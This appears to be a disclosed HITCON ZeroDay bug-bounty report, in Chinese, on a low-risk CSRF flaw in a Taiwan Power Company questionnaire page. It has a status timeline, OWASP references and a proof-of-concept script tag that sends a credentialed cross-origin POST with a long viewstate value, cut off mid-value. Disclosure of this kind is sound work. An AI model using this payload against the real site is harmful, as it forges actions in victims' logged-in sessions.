[Bounty] 台灣電力公司 CSRF - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-01064
  •  發信 Vendor: 台灣電力公司
  • Title: [Bounty] 台灣電力公司 CSRF
  • Introduction: CSRF漏洞

處理狀態

目前狀態

公開
Last Update : 2021/02/09
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2020/12/10 22:36:43 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/10 22:39:30 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/10 22:41:43 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/11 06:59:02 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/11 06:59:36 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/11 06:59:53 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/11 07:26:57 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/17 10:23:46 : 新提交 (由 pwn 更新此狀態)
  • 2020/12/18 10:25:57 : 修補中 (由 組織帳號 更新此狀態)
  • 2021/02/09 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-01064
  • 通報者:jkwr (pwn)
  • 風險:低
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://branch.taipower.com.tw/Content/Questionnaire/contents.aspx?&SiteID=564732646551216421&MmmID=616211172100014675&SSize=10&MSID=616375631157557044

敘述

  1. 將下方程式碼放進自製網頁中
    <script>var xhr=new XMLHttpRequest();xhr.open("POST","https://branch.taipower.com.tw/Content/Questionnaire/contents.aspx?SiteID=564732646551216421&MmmID=616211172100014675&SSize=10&MSID=616375631157557044",true);xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");xhr.withCredentials=true;xhr.send("__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=DYPYcJvbKjYH7XUOUdlNQQl%2Fv2wCiYWegfB2O5pJXTIsj9pDPJ0CUEsxHNo3cSPTDGqR1rcpuBFqHhTHxOfMwI024mqfZCRv1hOhJ8W5s2wB6t1EPr%2BMDCsynkap2m5wGMfoiotsz%2BsPjAoqapT6HB%2FvCtRFXjzboktGT1JEF7hqAqiJd2Iva%2FugM4cyzJUGuMeDKkTPzdXrFDlVSau1Yn8QsQjHVbxI7iCvZfL2xNQnCAikcI9Mp3mI9dMW%2BC10Hlj8ZQuk7p5C2vNQVsM38m9wWpXWdiGQZbkoBgcWYonLj1u2cfIfxuP9BmF4IQ507GMUBqwp7YXulDP%2B%2F2f0psFTAjjwt8rTjli5uLKXYSs%2F6RS%2BVVc9ZGMpSvZsThll5ZHvjPitkWsBcQoDLrJZy8Ho9MQl8jR0Q6cKS%2FNu%2FA3qTmmJuy2CBfugl6Z7%2B12EBA7dWibP2Xop3xav6LmtSN9qwFbWQHBn6ARQO%2FHhsPkOK2RvQfiz7GZxSWDyfVZ%2FCUaCBgq3rqVpeHnDQnyBcLiIzr89Z6DOntTQol4P6gxLOV%2BWmBXxsUpaSmrz2EGDLp%2F3l4A%2F5epnMetOBHb5FM4AFqvj%2BFtEvsNa8tHEbvW8ngBnCp9lZApVlKWhVfyigMoOf9tmaQNCzc6xJV4US0Ws47U5j0rSuaT%2B3TCd4JBfRyLDA5d8%2Bg4FX%2Fywh0S865Q%2FPJqXBnPUREMQsfwcRr7AF2GkcDBktstAzfbJGVsvTlSMfavfezxqLQFqgMueINeHRM63QAovWNF3ToxRkf5l269mM7avml%2BtmGhgy7Al%2FhxJtsICPoWBO5Ql4W%2FnEKSE%2FEPDiQjgRRS3smjYKdxqVnANG87xP9GvU7rGVWLv6IysrfZ3BYQN4bkxdTKoMT3Nv86cUSZbgV607bp2dNQk1M%2BdGH5sbQPf%2BO1PkGlOuSe7Yb4HQr5egrGkQgvHIuTgxgM2RCNkm48F07Q98d%2FPbXjFeq%2FxKv6cCgl6uS4TijDxO5cbIc%2BvWQaz5eCJJeqdxlV37rPRnrc%2FqmO86Vk%2FjNNJk2y6gTj%2FuRmsvoYMPxO8Nou0kScRQ%2Fr0RFFkkIpPq%2FGb6zclfqEmy2ylmtW70hGWq6G76BLCfB1Qw%2Fr8NodwZ6ge%2B6%2F7JKVstawAlN0Jbe2nnYNiYzERzOeNTyXXJ%2FjtITeISZQaQpIlq87IRUCLvLer%2FkF6VUKH%2BqAV5Zx5FuX%2BzmjhvahT%2BjMLniik81%2BBYLtpF5tUJnooaa3e%2F7Hoz3GDwKyQev%2F%2FOju8N1KKdiRQeABF7DvXw4GYXOZt%2B5j066JUpANpPKxZ2IcMhg5HJ2JanVzZsQkE3vlZOYQ6EAbO25UBTxK64FUm7Wfzr46OPwYGNdPpdkJ7EaxNaPJdYg8dvHLrCw8Ym3bbc9xsu0tyhY348iynvVrsO1ixv43sM934TNymvBXY%2BCsXvq%2FcfZoc1kQd67L4lDocfwt7LI5H0DW0XVrzlveQinYIjTCf5tL0LY%2BLSp30SgvjAv7x3hH55ajtthNJGxfEmEyAKccNVrJUg1QdFX8%2FnnHSUx6OZcnDdU7TDVHH3ysxo17pzNM1XwWE%2FHGKvsAaCoVb14eYtU1vBU9Zx8AhSgSaNdK74fnHEyEQ%2ByYqWkiM%2FX0%2FgPTIZfxK1ooUDwfkHiMTm5wDIIsHoQwYsraK9NczYVr%2FUmIUqdnzEagEyRpscSp7pV09EGJH%2FSHdr1fqbuAulyCxm2O042IIDe2kGJFABYQzXdDgtx%2FUHoYxY%2FToBrSo1asrpDv5M0e68IK0BJRin7M6yfdraCZJdsf7nuDuiAVn1qew6%2B6dNgWYhIhNDxruskS97a10MVw%2Fewt7PxkxKsD8hIgOuULSWDyCwHttne0evNzUKLxlL9MQbHhEZ0eDkuLyCbB7Sg6fBawFKnxkNT%2FPCHjHoBGj75NEJivqoQ%2B28tx4Xe4dSJt1zCtrw70%2Bq1vIbCV6zp2WyQa%2BRROUVd675Zo8sbYp2bVdCEDlJybRMiAzCqPvnYODnf1Mfot2HiZmmHPCXS0cIAkWfUGzzaoYI%2Flfcwsiw%2BIBoXw4YQTb6LU%2BwxWNdml4Xc%2FGsz7nWmJYqyZrFefMdpYPRGYyjYFh5I%2FbBUHHf454%2F4Z6rOEElCb7KjnY8MlTfMFOH%2F8l5pI%2BBcU%2BwZkh2w%2F8BNuTdLgyXTonWz0M5NdV%2Bnn4S5AhtNzKklPZHSmV9omhdtrCqg4hLHkM%2FvLCezqGsaYJJHs3M%2FvzKzm%2FgFpJy8%2FPwo2jAoClBBGbqlBNuOY5wc%2FhRrBv%2FSHRoLDGz3KStCuuy3RhVQ82TEl8RHWI0Sx8duT7nxtep%2FqXBL7L91s9iMrWlCkHZY4TsQEAVvSOjuQVDdBdu3WT50Ds31J0ifTZG0458QmXj%2FyfGIJMt358tJm3ZuxJ%2BLzTQq0I1oPwH4eBcl0XdAcSQYSc4ETNtH0oFLo2jenAcStDTVP%2FiAdYJ5%2BfvrX%2BVl31N1BwwvyY%2FVvNjWlvDKlsOwFHIls4RW%2BLCboIF68H9KmVXprwD2OqdwvEEe%2F5yS7QOQra4dXBkuowp9xzAUCFNQ9YiUuInxJHaSO20ugHfFEWYQ4gZhPaZcuOewlWrraRgJ65ChRmAosXapfjFmn3aJXD4rs%2B2aqbb7%2BM%2Bu0TIoJO%2FDGPGf9%2BPJNVvRry0HFFJdjcuneVtCvvRFx9bJ7o7wyXc7Dh65g11KT41uqXOcQ6tDJWPXM7L8UZdM3LBoGaPR%2Bu8KS9wuPyOoRjyJox7333aZSafObMM%2Fqzcuysjq0orj%2B0i%2ByX1viDJSPBJkF%2B4iZjdC%2Ficf%2BCV0pXHIX%2B6HVTA4J%2FVuE2r%2Fzl7CThzOmbC8T2JHdLbV2otF9RjE2FncqfcgD0dZUxMMD%2Bkg4nmZZDzbVBl9e0M62yzVIrZimGDwk4xiRhY%2BReYR3x8UuhKZ9oMl8A95jhUi4pS%2F6Ld%2B5%2Fn%2B8bx6Yb1eY1bSHPpnngqMn7VgajkrU8bhNN8nzOAHcquTwYkruG4bIIQV%2FWV7PS7JtX%2FFPFjaa7LACDJUtPggImalGMgCaPbFcZqJG7AoG4G1oX5VcxeymJln2kLqB7uPCAGHNkv8dI6jKKNw5%2FW93Qi%2BCiDUXTidVEOQBlhnHSKIlcQDOiZwDjGcayMfQH9upegVZEHPKSxJWgZHNnMhqHHExuFgIc8xEzJWHgVCMCyEQssBZYp7g3JWXsU8LaT7DHxVu%2F5GkjVFCG5418IqvWeoQ30SIlyxZe8Mz2wo8Ljv3jHLn0FeuveX4Qu6mwHzFG7PXaQiOJeOoK0wGiY%2BG%2Ffe5LcOLFEIQ4cdgwDjtPtwnAuIashtlWggISt4to8cYnFlUoMTymecnTAVbpoE2o97pK2ChLse6n9OEFeZTqcH8PtiTeF4N%2F1BsgqKkzDwdeDVcJNmDjUNpvXJ8LmKUBbphsN7k%2FZ39zj28vSt4UM7%2BY4QmvRQuZB5al4o2Fi7%2FyXUKmZCakcOPzf0qSOMVf6oIYxZ6yug82ScmDJL2y6Khv9saNcxvV1h1VkowJurXJXGITPkWU53x88QTmjAQddDP2Ioi6XTLq1FK1RhvJjvo1ewAaLtsQazbDYlpmbCI%2FA47kPJtU6MXwajp%2Fp%2F997VyjGGdgik8bquycCeLU4wUVOpm9NRct2rH2wEqtysxVXLx7FKIq8HdS4Zm%2F3smeF1WXARpshFzndVfKnfr6BDpEV%2F5lToIvJoc7Ner1bOiDP5pf5CuZd2HkxsaokIkx2x0CcxIVqb5jFAg55RuVqs%2FLrn8ZodH7wLw2B9zxU%2BvGXYopywkxlISIvMHF7C4INHxfSTutX%2BN1WCATIkgB7Sl5OOWHCurLrhFvjx5VT4RSnjwrw0iEOwSsWWASWu4y%2BVSBe9RWwVNJW0ApkhJjo52bUwksSSlL035hx2mzZoU6gKvRfwrsblGQmnSmTyRK2FSb%2BEw%2FJhzW42pQUIB580PK9jTmSGFmKVwXrW6bgL2G5W56alueANo56hYsWK5SFM9s0BgqX4qdcGDgYiq7k53ljgdfKu1Zo1AzHo%2FkgK4CpgmPSBldLnbGNHtaI6z4wb7n6LGKoggljjWiPl7gthXf0IifAfTN87bNwi2Lu3VBtXxWwK4LYWiASfLP8LKewehfrNWt3FWcRnckBy6ArpVuzz2hi1qKEpLg1CjVMi6g5uEXRjPrBgnydjcZLkWiqQDIXRTU80tPOrNf0l5q%2B5WBnFJIodhHl2HPGF4QWUMoIED82zFbv1E%2FPz83K0UnYd3wPrM53FnkX%2BF6iDZqf%2FkkUxI7fPRPF8p6k12xs8CB5D2%2BOkeuBhdmkFi%2Ft%2Bt0dwJxWyXy1QWV89nLP1Lybi4MZhaYdlRuZhmYZBYbZ%2BJ%2FEcYqUCmFKvptOsLFM15nAI9yTp6uD53dbXkmTMyP%2B9kSjCqgGjaI2OHNmBj0ibK9kknfBZNMbPu8pb0aya1cgPxIn4rHqlDUm95Cql%2Bjq%2FI6BYWqFURNNjvxKYtMTZs9DR6Upun3eVeddUb5zJZVX80mo2nIxzGu%2FDNWhUitY2vcBBbe0JEU0PrlWGWEQ9ZkC8IDOJ6KNGnoYB8p1xZzS1TTcWaGpMwzztOMAXxS48Jn1XpdjgvjFQKSgD1BilQO1fcFcjHGuMhWWhm%2FBAvS%2B2lhb7SV8dKkH8ZE%2Fpr7r6jC3Gs6qaXFNM%2Fr7ndrAp%2Fc6WCo4WLGkfhoJQO0O%2BLMufRarcApxQNeFQtYajmiNmuaeOyA1uwQAAF1EZma9LlJ3LNboeh2569L0g3dTVmCSaoyPZkaY8Moe0VKzrTU2qiaZH1P2jiU%2BKjUWaViP8tey9mrSCX%2BZ2aKmBS3gEqmswwHA%2BfuGZjfsos04lXh3RxUJ1KL9PBrv5SIx%2BQB8FYCmx2HiS5QDMEq3u8eFCJm8h3kwc5piz4POlOWyYG09EaLNO0S0hCJGbgFc1KZi%2FiUawwhqy0XVo3hvOv0b9U2mj%2B83JNX1hNm%2FhriYGEZioXUYYy31819cJGCHyYA4Krm7r%2Bs9BBS1LZbYdLlVs2ZhJqfpVMYOXw1DjSz07Tv5gt5Hdwx7fuTDJcp8DwpHJgI4jF8So%2Fqblg6X5zTBUfh4KR%2FQgGjaaKCWLZRinSx%2FRwuzBgzR%2BR3Ml3cYvYpeErZWwX4nvpoiHoSDivqXMQadnNPHCHTqCtHymha6y1QQgpxtNgqtVtG4gXM3b02cYai4qPijkD38XDHI0TrG9VJ7KADsLs7HZ4N3lKezCO8wRhuQrgP3ckj%2F17BKeSF7%2BGlqzFi8ABl7gNHXH4t8%2BQRRhtaK8BajagykXuXHVYXXOEqOsf0TjOrbUQBkz67cu7LVpVSwAmVFEfahovBX9CJtBQP%2Bwx0GzP1GlLdtJEEDdWEL%2F7uMFjoCHr9upO2L7BlwKvJfVVzEkwxowRZG7Fj14NDrdrbjW9DH2hxIqjI1kHTNvXeuB3%2FLIfCStjHqvZcxsUh3sEN%2BTU0kld2vzvHyNcefOmQvTfTh8JqqfQ0W4%2F0zdH11BleRfPu4gata2PVPr0ltgMHHAjWW1l9FKSm7STBW9OtyZ9qHOoZSEn8lk3pBqMleCPNkiTGS8qQ6G5VgPJsBtmKQQzElUskrwvqZ8rAFCaGTIQxZe%2FMQF3w1HzVbaHNGahGBPu2XszuW%2FI1OwJynkjOj6HXEG08Hxuwn%2BS547pqBaPz8foMDgdlootXLsKWv3Tcr%2B%2F3LIjSnynLYJPUC0MIarvAesmdWM5wNNearPjDXJc8wCD5bqEA3C2r9GyNO%2FPUr2aBr%2BVMsNCH4r61qZnOunNETxxkLLMP1w26xNqP5QtlmtUf7VQfnvO2KFova74kAVmqay58SB4HZszUcW24pshPkc2JcPhOITOqb5qgj2qhEFwhCBYxKNClHFTuUgcJXJJiEnCJQZxJ%2B6tT8x1Pnp%2BcWiU2DJeq7r%2Fu0wcQeyBeUV%2BOu%2FFts9nKkVEODLdxVz5Daf%2BV3E1RP8jyrUrVpwDhvQqdxZIe4rYuEI74vbpLKDM5zOxpSaoFr5m69afnFy1wM0jBonU65esBwL3VvIZo3r7FMYSElS8Y67aXJ5Ut84Yk5lcv4mfZ2gxh%2F4qIGrenmBWSrob3mg%2BjyVZF%2FHxiVAem4k%2B4VSPGuFMV19q1%2FNIa1WWN%2BxOeCNlexm63njOoTE65mjWBrbin0XKFKExfg8FP4NAfQcM2gNNA%2FM9Rx%2BzZIrz2SLJ6I01iEiAlyVgm1QLGP5aJcAyn1zi9AkkXz%2BiTcVQBH%2B7FatZ7lj8Am%2BflUuUTpiKascH9V70L3g0n%2FBl7ODfvMR8xps07a%2FMaLo4%2BepaHXpoPYJvXUlN%2BlBpPFNTj778nEvbWy0RSs2ObfSOZH2ZbiJo3iEdVZ3WkfNhkMKbiF5krNIjxLwih7Okf9OLLLvuXeo1xYmXPXH5iN35Wh%2BGBYm1yn8gYtGqIbmJRnXsCZziGY%2BV3FNTwEUKq%2B7l%2F%2FUtC4PpEWcNSM37ptA7k6GHMpkXzpXJCTtx7FBGrAraKjCzl52EFDDRT0ItLxG35c0qH%2B2fl3qhZkaqM9aBkJmnHm3Jq0Kn3gbaC0y8wMIbQOdBhUl3wxWCwuEGOrRFpa0f6ko16QBS5gx6BX8CTOCumkjFC%2FEoA%2BN%2FGDzB%2FJz87C4%2F%2FYvjUzaodQFTa9cu8Djg16%2FL4n%2FIYOJmVXNXPZZFsoMqy4l2w764Y1zde7n3UmeW%2BdU8PK3hdZfGhgUIdgn9EeHAgrZbTEn3DGjuewkSvCoAHZpty3R%2FRTZrgf8kI8BFdBj6GXZewVCfINl1vHlOM2mRJGpdAo6y8gPJ77%2FhANrdmcpzNJb5Rwz2lmUQmP2FjVs%2FNy4kIiI11B5%2BCrp1c85OnvIjT26KA2YxlGcm0JP1EHI8nQnfpWSWcJksMbxYgYuUbAxxFOfwdIYMRY2rdypwI4hhkILWA5EmPhhqRVT9nICq7tDqsv0VdRVONWRjPFeFi%2BQ8sxEetAZXZfLZDPRFEa8Y4%2Fd%2BWgikizloVoR51PaZnhxLua9Gr8CNeLO2o3vIhTPeoiQsylaSElqUkxZpV1pcQ0wnz1384HnpH%2FeJim4V7pHn5TUtUUoQw9c3UmSXSunFUlGxKrRH2AnYm4X%2B%2FLGbAV63aVN2lSYFXC02CkeJFh6c%2FuzziqOhM%2FKHGVQUlRhgyB%2FaefiVRhfU%2FlcScCMY7%2F%2FeXXBWUy4sm2sBMqZ0cg8BMFXKnnITltunWYMd8ThdCnh3%2FcOqquTlEMWkLT9dz9s9oaOZokK02nH%2BPSF5i%2BswMHA0x8ATb3Om%2BqWAEu%2BUZ%2FX9qbhedi1AyRa3lf498IWFXNY3ameCwraZ%2BSRcuxM3DKx1kcoideWaTG4hELclBauS10WlRfwLHo2pE07mSjysv%2Bh2WExCuN1boN7y8Ko2gzvkmARHM2IALVwIOagluex3t7%2BRUG2wvalnDWZQFFTemecLaFP5yvsTqjN%2BOYsFdNcCCcQAvJI9KSwYxw9iHnTVnzqYmIXTPrNV5G8sLXirm%2BbJIAgLuz9hARSJECkggClVSCpfVD0wqjwjkeIEyAU%2BjwfOtpcUgcCt57bxbHUt1fxeg2NpJEO6lzBDBTvnaO8RcEEW4wITqkzQ805bEKWC5wx3XgUnAeDQjPyCR5DcnShEkGeI7JyJ3VMdMYWG1hgthVdh77yr4XsSJ7ElXQKU5kteD2Fbi2Fz%2FpG6NTAjih1T5%2BFUyJxCg87AA8XgP7%2FQanXoM8peko%2Fkss%2BiRtMUz4BSd0jCvQQUyvqtSAPNJOKpz9RE5ci3jtb%2FkFcjbFmCM2ZqX3ls51NcwvxS%2F1xJZ2a97bWS1m4O2Iv2O9u4f8Ee4%2BIEQaO4sQQ4QdOi4%2BQVD4aLwQZfMxIxA8IPknO9MZFbneldCnhBbFGY1%2BYyePl%2BPys0Blw%2FkZqjo8rtlZKe5C14HroUaxphfimAhSL5Di1cSuzg28ljjki2RIzgRzjX%2FiGSwmuLraNXkeglWztc8qzHxgusAJXKw4%2FFxi97my1nJ3nQwFlWTRcWZkPC7KJlz%2BbSDIdA%2B8at8d4Ld2iRM4w%2FXvVFOKTmSvrIt28%2BKWA11hiYpabfjDbXQcVqR1TD1CHkvD4HrUsV%2F693zPtAEUB76P%2BNUFlT5rQPF%2BPxIgaAlsC%2BSUpc0aRuy6y9%2FwsKY0kkEmJlpKDWqtEqwh73x0M341hTesPfZprExIapWTXf7JJYsYjhyeMU10c0qXVf18WS84yRd2KjUffC7KDC5OrQHuZcGKp9Zy0n%2BBww7h%2FihHLf1Q5YdBZfoUoOA05xF1l5OtB8scxHyLpc540yG6dtBFXUvswE8xAknkAc41yOTd%2BpTW5NNTCjx%2BOqgAY1ZbfQD6unKsdZV5TIaFxr7cD070czjEfmCQS1ZRdBpILgtX4EZDx7eqLW8wutOwnQ7rGYfe%2F2TZkdSSDj4xFQsx7FYWLRaKtaYf1zONtjPbe2sQwo6s2wCtXSEPM306%2FPLGB6xTnzJwTWcMV6md1%2F3KNgSI6HhCh%2FpFkORdNpxPbsn%2FW%2F4Aaqcm9ONE25X8gSzKlNJdwwwsFo79RkU50I59PEbDH07RkNEKOD%2BMwhj9NInhy1O0rEuYiYCZobUm%2Bbh%2BXfc0bp%2B%2FPwmjvYsbaEgXFXvinnpXCdw3DUjXabCfCYTMfn5bzoL9eTe32px6ZTpU%2FZ5QfhVzG7o01sqwM3aYMkmZud6NpO%2BKEK8t%2BrF8O0FgUikxh58q1aei3hmMuAZVD6rXPSCK2ADiFvWNunJpRfnE%2B7h9LapinguJuyRE%2BjtayvnTdAbEaq%2B9sgBmGGo2xt1OzBmVc1j0fdJ939ZBq73PA24byDjg8XhJoktPXsMUH6x%2BZCyx7am31mVPl%2FJnrzsl1LtJuauWCa31r4T2r9pjPjXbQmhyo23SSsu0k%2FRd%2F3kjoz5qAMWNamt4TzyPbSYKAMixzwvMTWFtle0nbjxPna7DWU8gsVNSxNUOvuOLFDbFI%2FG%2F9WJeyFq4xm1c4RAc2hKGZwXZipNtJB7gbHDg345c03KGDyb1500rw77qsefVi%2B1IHPs1RWvxCpXIByguw4Y5EbFq09eXg0yGY5UJNAtcDLlWC9bBEWYBd18ZRPXYcCO7kPlFVch7sYXTGZu4zTAS%2F3%2FtNLP5E%2FheLW3%2FZ5xnp8r%2FvBPRDV3nt3h8lk4fUDWhljvVVU2f9p%2BD1KZ1PwllDLpjvb8iWixGgTA5lKol%2BFZTOIgD0ak%2BOKxJ5QJ8opeDIXUsqlFsnM%2BKlZLpXSo5UbW9TCQuvIdfH0zR14%2Fs15qCwpkS8Lic01EE6VjDTWYuC3rrqwQhhJjexDhonnnet9J4Q0POo%2BVO0%2BXjX0bGUbGemCip5QRWhFejYHyTAIOIlnR6nVEl4JAX6Jocn6QM7B46bFTnoF0IIjogIq%2FSQMyt39lIFYART%2BjemJdO4U8HLkcVpH8JT8KpJxBbDAqL0OoPYayOvLHhe09yVD2CmefboeK09j5TgJ31UX4%2F48F0Lv1LGdSsKVIzZoZSSyE6bZbWF%2B42%2BEEVwKoL9wMFSKH1nNK1AblF5XK63734xiUuVDgoMLTPmaVTrrVt5%2Fpkb7klm%2B49GSEPalX%2BumaZCkmdf6POrMy%2FQt0KDHuQv0V44ad1s3UA5xD16Xh%2FjGzCieinDIvJeahEvkp86iKJgvGXIL4d%2FS5ULDhVNxKeRFyIuTTcPQuustEt7xht2LdkIQyaASmaJ5glCy2oqnzg7aL8K9bYhCPpIPgs%2BQjkfL7s5JtC08p%2BkjZwdA54IOvdF4cygHbU62BNQOk1CuB2qLaY38vKVIXucovqRbk9GyfhNLgDrbVRBgFMav9DoY7PAeSyj25zoe%2FihSnzNkFPejNd761ucvbeCPv0rBLyKGMXVzEQ7w2hJRkMtm7mfYDhBuhp3UFfgBlxTALHijeFmFiucFJupfROA4B329PgqK7z33S1p2gw5%2B0g5TQUOj28Ro31ITdF6iR3pTefdr18b1LCBjkvinQEiXviGMnLKFH7lBcTqT%2BcGErBbwh1x78djNI08ifVHfbVNXn0M7S%2FTukvHVG3Z6SUKCSD6LVj%2FLOMZlm%2Fa4ffkp5xsXBhjV%2BNgb28Qg25Dg%2BPg0t5fClJoS0VTqdTAaRBoaJYyU5Pi%2BZU0V7hv0ynwtAWjTZT98UyrRi2tHf4Mqe7DBtvSJlZDBITV8FxJZaPZRygyqH%2F9p0Be6XHYqN%2F5P58ZyKQWp3IjKeDzZUcKtDndZYSNtHl5OFPeQdSbeCXxhPakEh069S9SrtLkwlKGj%2BhK0qv6Xiwz0rLC6fc7uDCgibffHdWBRaH2%2F8t3RhGvgfdhPljgHVl2DMN1MZVoM8sur5BOrCELGfxwiFEpqorq1koXCxLeoOt%2FB2eixgajdrcuwBpwASnGNDMxKOllBnCHdWkUsEBOaUB4Giy%2BXV6BpZZPDwZz6D6D4RIXTMCdGxP3tK%2B44bGZf4iysp8e80u41JCexPizI4B93Hq2HLd75gp%2FPDkPr8cFKeUOHG3v3jcacZ9q22dD4Bkdj%2FDVBA5cdgfFP2%2FF%2F3OVuVNO4PCA9lZDIDDX98BWrqbQhHxEpNJMr%2FQAlR0%2BnYYxOl%2Buj%2F01I1%2BI9sBNvlUk%2FK5ltapjMvgD9UVWvQ3I8m%2Fr7lLZU4WakTtAFYkbMKvZM1ls7kpwa2MN1xOLBgF2Ka%2FX5ZBGTM4zyC0EkFTgIwDPc3Q%2ByWpTGxHCXITxvWZDlTgi4jSDKwQq4lt33uwEh6Phj3%2BbzDJj23KhhYYyXwXZIBChH9xna3%2BquyrPMH5zQSmOPs5NdRc0m3vOjpFMaLk5tAxJ0IQyiwnxQyWL3Xjuu52jFKYDN%2Fgnq2Vpoq%2F3YgsZI6gqHOFNEbFv5Drnpl0AAzx7%2BHkf19%2Fyo285S1yLWmkP2ZxecBjb6hmLAd0uXpd02GAcTCz3B470A0fQJd8U4Xjnxt%2BRUEbuyh%2F7BNJb7UKIFDmw36xkW%2FiMXTG%2F1HZ4aPHQ5J0ewl3q78QDlxDKlBAtrLr49tDSAqSvoS8JuRyWGeHS%2BzO%2B9boDs4jeeeV9mZFawDs%2Bqh7rYvJlp0%2BZ2Lvge1BA1rc5fZoY82%2BMxA24OfcHeOnm8HgCjAi87ZprxkUD0UWjXygHeo8NDUrM5vbAH0ro%2F%2BRbSTuyTZqyNSPiiLJJxrcgXqQZ3KUwiDcL6zFLDI1ar5vmwReChzBIs%2FfXAiYC9ro2rdfKQVoMfFH4ijznJNkP64lBwnDnx3oMVxd7deCBvImSvFE5ehfx80L4TK%2BTqMlQSEjSpKA5nt1PATgS5tn%2F2N%2FhAqxeluEScaPk3mUBoDODWMla%2FNzhpEIsJclRYsWH6fjYzB6UCYZFRPElgeUGE8fcGxhLfxU4MV6%2F3xbLxkc0c4Ec%2BbmzDL9g4iY9rW1XD61GaMKFTt0ny029MP%2B3jLqh85iIJzhHxpeoR1SHnyD9eE2QLu7jDqkLBn3tLZLmo%2BX0it8%2BsmP1KWKDbcwstGqAsl0PD9kqWb%2F1s0Rfm2gJ4rz2HTpvTCqjOepo6SN%2F5UWF4%2Bqzw0meFm8BOjihU74ihbzMRY1eZ2zYlL575eGhYpjm8CJeB35MtAWKsVYSrtWpsvBeIT9JBlZvuuNrXNnMcqXJ3L1ag57KsD9GYjLjSrFslbXBGdn8bgkcjdvTa5In2GfUe7eUaxl7Ipxc%2BC5tnBDufyrrsNpcbIF1Mt27KNLuvSRXMwWUf4HkEWKSaurUtyY3Coy7EUoQgcK4D05vxtQWs%2BFrCcVivSHtDQHie5SO5LPYDXEQxfdW6viNoW24cF2sVm4cuSc0HGyX69y5n%2F0xUyjulN9%2BJ28tclL4cEDZtCq13zybF4Awm25hbRy7nheaow9UiNXe%2Fz62VOO9ShTpflXLT%2FVu4DVI40N5ECHyLWrMcpAh2BJY%2FWeaud9YOK1K9FRflKmZVDqHSlolg1LFLxutHqsA%2FgRbmv6b%2BGBAqC3s40o%2BnvQOM2oPupoRCksB%2BexB7w%2FCi354ozRJMv39bCG3cqMOWic93tK6IYSQ76Ttz3HveXb24i02iROoMJNBjCTo4MbyIBaL6%2FockD3eC1l8u8cfPgGd0X6pLFX54waGKPmWzLY8uOEfVRPi%2Fw15Enij0DAw2dEdu1yVf3fWcvM859Tei0cFk9O0b%2FLR4wZ8HmcwqY42sGk7nL7IALuLEtuu3XrFWDEkAIaKxwSWCGz3qXd%2FPX6m2cHdgyCG9HGeZC4RrBhqOTQ9OC9bAK3Jf4t3CCDAlTLZvZ9LWj2r26XQjQBcbfaQhriAt9NaukwTFj39qX535Et07quhGXFR4vRRQYoqWNJN9AwZGxxe1sxknaerEkLZ57WG%2B1JHYcXJ0cfU7WnzZD3mGLMSfvA7prPelModGn8qbL6OcrMe9YvClVBllzfDDBCnT5HJED0vXdWyrPU3A4Uko18O6OxFe3REnjfrZZeCVS4TTePE3uqZLk0j%2BuQJnQQBsIejNjsK%2FsFjr1%2F%2F5%2BQ0FQsNEfqC0ja0tcJ2oOkdoWNaFwT0NNO3sRlhB6E83%2FMa%2BQNb5xwXQVd4gpNsZZiK9NfFdlHpB5y8a1gMRMHXXqrjMM0H%2Fs6UulJeya%2BmbYZJMUxWWJN0eE%2FC3yPTssxaZoGdPFWsLnZWf%2Faw7q14qtOgwJitdCvDfRsFK9dX655aqnc72fhu%2BpcHPgAlWQgPft3J87t7gIMsqbaS8932%2BdavamMi8%2BMGauqoDqqbZ4z4jWm1kLEgIvLtgPujUOITTsPQqtFVmdCsYesfgLvWMSp7JGidCWh0rigjWon9OpSaO7NI0tHpdVitHZuaXI%2BrX%2BoMXnemezuHyQPAe%2BZBibP7kqfvMTGGsISmK1qjrIAaN7P4sjAM5b%2BePkyx8ZnEffFG%2BbOZEa%2B6EticKaGMAw6wfcu8OaK3iGTbPyrPp4wSJMAP4bi5ksKefbWLBouKfAL8QCKj7EUbyMYl4mNn%2FvBIZk1tfAOp71Oz54g5sBlhQxWxYgsfpRvPZR0MReHJ1nkPUTpola%2BtQDMKhb8YMbw%2FuF73gE45YcC0ARiYZ45BHuc2CxPn1PslO%2BB16LTYNJKJ8OGGfqhMR06%2FrUYioDkLSJSRNoPlJP%2FkIr%2BwGUYhzRJDs6lrdQHktbgIF79P47B00UGHYAw3uOKf8xrBi8Ho0BD7zL6kB3lTQIhGe%2FGLp%2Bp6OZFEP3VGnLbaKKTO%2FARcgi1pOZVYHu1zm08fD9WqcLLLofz1mjLiPi2wWjAvYBbzdAZi5xWANPajHtmZ6U9rGo8Q4R%2FzBO%2BmREzAtwXk6LQEymOfpe1ysI0LpYhAbMf8y6AMQ%2BcRNewFOPxtlhSN10zOSCzfcnRNalwlD%2FmJoUaz%2Bs7KmBFR4YG8COV2CzZllXjQLnqZmXYZm7sXZldzXkFP8LkLvdW%2BjKMABImamxSGQ3yO4QB7696foZpco40lY0AHjcLwxlSFbX3CgHkp5VG6sbyQ1ikYsGl%2FRySPsOlV46lanrC1rtu2I7zrifu6rT1tkK9vuBo095ojXEmz8Z7Ag5C389o8%2Bk40SXPc4hJvjfj8WqtUDnCIN%2FTiKV6QaLF%2BBJDFoXO1p0ORA7Z6qjkNro2PRIYJsH9lya9vrqihvFYdmqwc7ajDofyWh%2FH6f%2FA1GjY0XXxcuSR%2FTZXXmGeBn